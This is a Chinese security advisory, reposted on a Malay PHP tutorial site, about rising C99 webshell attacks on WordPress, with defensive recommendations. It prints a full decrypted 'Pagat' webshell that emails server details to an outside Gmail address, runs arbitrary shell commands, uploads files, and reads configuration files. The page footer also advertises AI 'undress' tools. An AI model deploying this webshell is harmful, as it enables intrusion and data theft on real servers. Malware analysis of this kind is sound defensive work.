cari
Rumahpembangunan bahagian belakangtutorial phpwordpress c99 php webshell 攻击加剧 安恒 明御APT预警平台webshell审计 告警

wordpress c99 php webshell 攻击加剧 安恒 明御APT预警平台webshell审计 告警

近期,IBM的管理安全服务(MSS) 团队发出警告,称其监测到通过利用C99 php webshell,大量WordPress站点遭受到新的攻击 ,提醒WordPress站点管理员应及时扫描并修复站点漏洞。

据悉,基于IBM MSS团队长期对恶意事件的监测分析,安全研究人员发现在过去的两个月,出现了类C99 webshell引起的流量异常,其中在二月份监测到的事件数量为404件,而在三月份则达到588件,具体如下

详细新闻见

https://securityintelligence.com/got-wordpress-php-c99-webshell-attacks-increasing/

安恒研究院通过 google搜索 收集了c99 webshell样本

解密后得到

error_reporting ( 0 ) ;

if ( ! isset ( $_SESSION [ ‘bajak’ ])) {

$visitcount = 0 ;

$web = $_SERVER [ ‘HTTP_HOST’ ] ;

$inj = $_SERVER [ ‘REQUEST_URI’ ] ;

$body = “ada yang inject  \n { $web }{ $inj }” ;

$safem0de = @ ini_get ( ‘safe_mode’ ) ;

if ( ! $safem0de ) {

$security = ‘SAFE_MODE = OFF’ ;

} else {

$security = ‘SAFE_MODE = ON’ ;

}

$serper = gethostbyname ( $_SERVER [ ‘SERVER_ADDR’ ]) ;

$injektor = gethostbyname ( $_SERVER [ ‘REMOTE_ADDR’ ]) ;

mail ( ‘cumicd@gmail.com’ ,  “{ $body }” ,  “Hasil Bajakan http://{ $web }{ $inj } \n { $security } \n IP Server = { $serper } \n  IP Injector= { $injektor }” ) ;

$_SESSION [ ‘bajak’ ] = 0 ;

} else {

$_SESSION [ ‘bajak’ ] ++ ;

}

if ( isset ( $_GET [ ‘clone’ ])) {

$source = $_SERVER [ ‘SCRIPT_FILENAME’ ] ;

$desti = $_SERVER [ ‘DOCUMENT_ROOT’ ] .  ‘/images/stories/food/footer.php’ ;

rename ( $source ,  $desti ) ;

}

$safem0de = @ ini_get ( ‘safe_mode’ ) ;

if ( ! $safem0de ) {

$security = ‘SAFE_MODE : OFF’ ;

} else {

$security = ‘SAFE_MODE : ON’ ;

}

echo ‘

Pagat – Shell
’ ;

echo ‘’ .  $security .  ‘
’ ;

$cur_user = ‘(‘ .  get_current_user ( ) .  ‘)’ ;

echo ‘User : uid=’ .  getmyuid ( ) .  $cur_user .  ‘ gid=’ .  getmygid ( ) .  $cur_user .  ‘
’ ;

echo ‘Uname : ‘ .  php_uname ( ) .  ‘
’ ;

function pwd ( )

{

$cwd = getcwd ( ) ;

if ( $u = strrpos ( $cwd ,  ‘/’ )) {

if ( $u != strlen ( $cwd ) – 1 ) {

     return $cwd .  ‘/’ ;

} else {

     return $cwd ;

}

} elseif ( $u = strrpos ( $cwd ,  ‘ \\ ‘ )) {

if ( $u != strlen ( $cwd ) – 1 ) {

     return $cwd .  ‘ \\ ‘ ;

} else {

     return $cwd ;

}

}

}

echo ‘

Command
’ ;

echo ‘

Upload File

New name: 
’ ;

if ( isset ( $_POST [ ‘submit’ ])) {

$uploaddir = pwd ( ) ;

if ( ! ( $name = $_POST [ ‘newname’ ])) {

$name = $_FILES [ ‘userfile’ ] [ ‘name’ ] ;

}

move_uploaded_file ( $_FILES [ ‘userfile’ ] [ ‘tmp_name’ ] ,  $uploaddir .  $name ) ;

if ( move_uploaded_file ( $_FILES [ ‘userfile’ ] [ ‘tmp_name’ ] ,  $uploaddir .  $name )) {

echo ‘Upload GAGAL!!!’ ;

} else {

echo ‘Upload Success to ‘ .  $uploaddir .  $name .  ‘ :\P ‘ ;

}

}

if ( isset ( $_POST [ ‘command’ ])) {

$cmd = $_POST [ ‘cmd’ ] ;

echo ‘

<font>’ .  shell_exec ( $cmd ) .  ‘</font>
’ ;

} elseif ( isset ( $_GET [ ‘cmd’ ])) {

$comd = $_GET [ ‘cmd’ ] ;

echo ‘

<font>’ .  shell_exec ( $comd ) .  ‘</font>
’ ;

} elseif ( isset ( $_GET [ ‘rf’ ])) {

$rf = file_get_contents ( ‘../../configuration.php’ ) ;

echo $rf ;

} else {

echo ‘

<font>’ .  shell_exec ( ‘ls -la’ ) .  ‘</font>
’ ;

}

?>

进一步分析 受害wordpress情况发现

https://www.google.com.hk/?gws_rd=ssl#safe=strict&q=pagat+shell

Webshell可允许攻击者在服务器上运行终端命令或上传新的文件到站点上,新的文件可以是更具侵入性的webshells,DDoS客户端,比特币矿工软件或者是其他的恶意软件

据IBM  MSS团队称,截至至2016年4月12日,仅通过Google 搜索引擎简单查询,就发现其中约有32000个WordPress站点存在pagat.txt文件

apt预警平台能够实时监测到webshell攻击行为并告警 c99的webshell也没能逃过 apt 预警平台的规则 被准确的告警出来帮助用于第一时间发现webshell攻击行为

安全建议:

基于目前的情况,建议站点管理员可以进行如下操作,

1、编辑php.ini文件,禁用base64解码功能。在php.ini文件中,找到相关配置语句“disable_functions =”,将该语句设置成“disable_functions = eval,base64_decode, gzinflate”;

2、更改上传文件夹名称。WordPress 允许通过上传程序将文件写入到上传文件夹,如果用户仍然使用默认名称,攻击者可较为容易推测到上传文件的具体路径,使得攻击者上传包含 shell 脚本的PHP文件的成本大大降低;

3、安装一款可用性较强的安全插件,如wordfence WordPress 插件;

4、进行安全扫描。建议使用开源扫描工具,对上传文件进行全量扫描,这里可使用扫描工具Modsecurity,同时通过AWVS或者WordPress 安全扫描器对站点进行扫描,及时发现漏洞,并进行修复加固;

5、如果发现站点已经被感染了,建议及时变更站点的所有管理账户密码,并告知站点用户进行密码变更。

安全研究员:zise

Kenyataan
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Apakah beberapa masalah biasa yang boleh menyebabkan sesi PHP gagal?Apakah beberapa masalah biasa yang boleh menyebabkan sesi PHP gagal?Apr 25, 2025 am 12:16 AM

Sebab -sebab kegagalan phpsession termasuk kesilapan konfigurasi, isu cookie, dan tamat tempoh sesi. 1. Ralat Konfigurasi: Semak dan tetapkan session.save_path yang betul. Masalah 2.Cookie: Pastikan kuki ditetapkan dengan betul. 3.Session Expires: Laraskan Nilai Sesi.GC_MAXLifetime untuk melanjutkan masa sesi.

Bagaimanakah anda menyebarkan isu berkaitan sesi dalam PHP?Bagaimanakah anda menyebarkan isu berkaitan sesi dalam PHP?Apr 25, 2025 am 12:12 AM

Kaedah untuk masalah sesi debug dalam PHP termasuk: 1. Periksa sama ada sesi dimulakan dengan betul; 2. Sahkan penghantaran ID sesi; 3. Semak penyimpanan dan bacaan data sesi; 4. Semak konfigurasi pelayan. Dengan mengeluarkan ID dan data sesi, melihat kandungan fail sesi, dan lain-lain, anda boleh mendiagnosis dan menyelesaikan masalah yang berkaitan dengan sesi.

Apa yang berlaku jika session_start () dipanggil beberapa kali?Apa yang berlaku jika session_start () dipanggil beberapa kali?Apr 25, 2025 am 12:06 AM

Pelbagai panggilan ke session_start () akan menghasilkan mesej amaran dan kemungkinan penggantian data. 1) PHP akan mengeluarkan amaran, menyebabkan sesi telah dimulakan. 2) Ia boleh menyebabkan penggantian data sesi yang tidak dijangka. 3) Gunakan session_status () untuk memeriksa status sesi untuk mengelakkan panggilan berulang.

Bagaimana anda mengkonfigurasi seumur hidup sesi di PHP?Bagaimana anda mengkonfigurasi seumur hidup sesi di PHP?Apr 25, 2025 am 12:05 AM

Mengkonfigurasi kitaran hayat sesi dalam PHP boleh dicapai dengan menetapkan sesi.gc_maxlifetime dan session.cookie_lifetime. 1) session.gc_maxlifetime mengawal masa survival data sesi pelayan, 2) session.cookie_lifetime mengawal kitaran hayat kuki klien. Apabila ditetapkan ke 0, kuki tamat apabila penyemak imbas ditutup.

Apakah kelebihan menggunakan pangkalan data untuk menyimpan sesi?Apakah kelebihan menggunakan pangkalan data untuk menyimpan sesi?Apr 24, 2025 am 12:16 AM

Kelebihan utama menggunakan sesi penyimpanan pangkalan data termasuk kegigihan, skalabilitas, dan keselamatan. 1. Kegigihan: Walaupun pelayan dimulakan semula, data sesi tidak dapat berubah. 2. Skalabiliti: Berkenaan dengan sistem yang diedarkan, memastikan data sesi disegerakkan di antara pelbagai pelayan. 3. Keselamatan: Pangkalan data menyediakan storan yang disulitkan untuk melindungi maklumat sensitif.

Bagaimana anda melaksanakan pengendalian sesi tersuai di PHP?Bagaimana anda melaksanakan pengendalian sesi tersuai di PHP?Apr 24, 2025 am 12:16 AM

Melaksanakan pemprosesan sesi tersuai dalam PHP boleh dilakukan dengan melaksanakan antara muka sessionHandlerInterface. Langkah -langkah khusus termasuk: 1) mewujudkan kelas yang melaksanakan sessionHandlerInterface, seperti CustomSessionHandler; 2) kaedah penulisan semula dalam antara muka (seperti terbuka, rapat, membaca, menulis, memusnahkan, gc) untuk menentukan kitaran hayat dan kaedah penyimpanan data sesi; 3) Daftar pemproses sesi tersuai dalam skrip PHP dan mulakan sesi. Ini membolehkan data disimpan dalam media seperti MySQL dan REDIS untuk meningkatkan prestasi, keselamatan dan skalabiliti.

Apakah ID Sesi?Apakah ID Sesi?Apr 24, 2025 am 12:13 AM

SesionID adalah mekanisme yang digunakan dalam aplikasi web untuk mengesan status sesi pengguna. 1. Ia adalah rentetan yang dijana secara rawak yang digunakan untuk mengekalkan maklumat identiti pengguna semasa pelbagai interaksi antara pengguna dan pelayan. 2. Pelayan menjana dan menghantarnya kepada klien melalui kuki atau parameter URL untuk membantu mengenal pasti dan mengaitkan permintaan ini dalam pelbagai permintaan pengguna. 3. Generasi biasanya menggunakan algoritma rawak untuk memastikan keunikan dan ketidakpastian. 4. Dalam pembangunan sebenar, pangkalan data dalam memori seperti REDIS boleh digunakan untuk menyimpan data sesi untuk meningkatkan prestasi dan keselamatan.

Bagaimanakah anda mengendalikan sesi dalam persekitaran tanpa kerakyatan (mis., API)?Bagaimanakah anda mengendalikan sesi dalam persekitaran tanpa kerakyatan (mis., API)?Apr 24, 2025 am 12:12 AM

Menguruskan sesi dalam persekitaran tanpa kerakyatan seperti API boleh dicapai dengan menggunakan JWT atau cookies. 1. JWT sesuai untuk ketiadaan dan skalabilitas, tetapi ia adalah saiz yang besar ketika datang ke data besar. 2.Cookies lebih tradisional dan mudah dilaksanakan, tetapi mereka perlu dikonfigurasikan dengan berhati -hati untuk memastikan keselamatan.

See all articles

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

Video Face Swap

Video Face Swap

Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Alat panas

mPDF

mPDF

mPDF ialah perpustakaan PHP yang boleh menjana fail PDF daripada HTML yang dikodkan UTF-8. Pengarang asal, Ian Back, menulis mPDF untuk mengeluarkan fail PDF "dengan cepat" dari tapak webnya dan mengendalikan bahasa yang berbeza. Ia lebih perlahan dan menghasilkan fail yang lebih besar apabila menggunakan fon Unicode daripada skrip asal seperti HTML2FPDF, tetapi menyokong gaya CSS dsb. dan mempunyai banyak peningkatan. Menyokong hampir semua bahasa, termasuk RTL (Arab dan Ibrani) dan CJK (Cina, Jepun dan Korea). Menyokong elemen peringkat blok bersarang (seperti P, DIV),

VSCode Windows 64-bit Muat Turun

VSCode Windows 64-bit Muat Turun

Editor IDE percuma dan berkuasa yang dilancarkan oleh Microsoft

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Persekitaran pembangunan bersepadu PHP yang berkuasa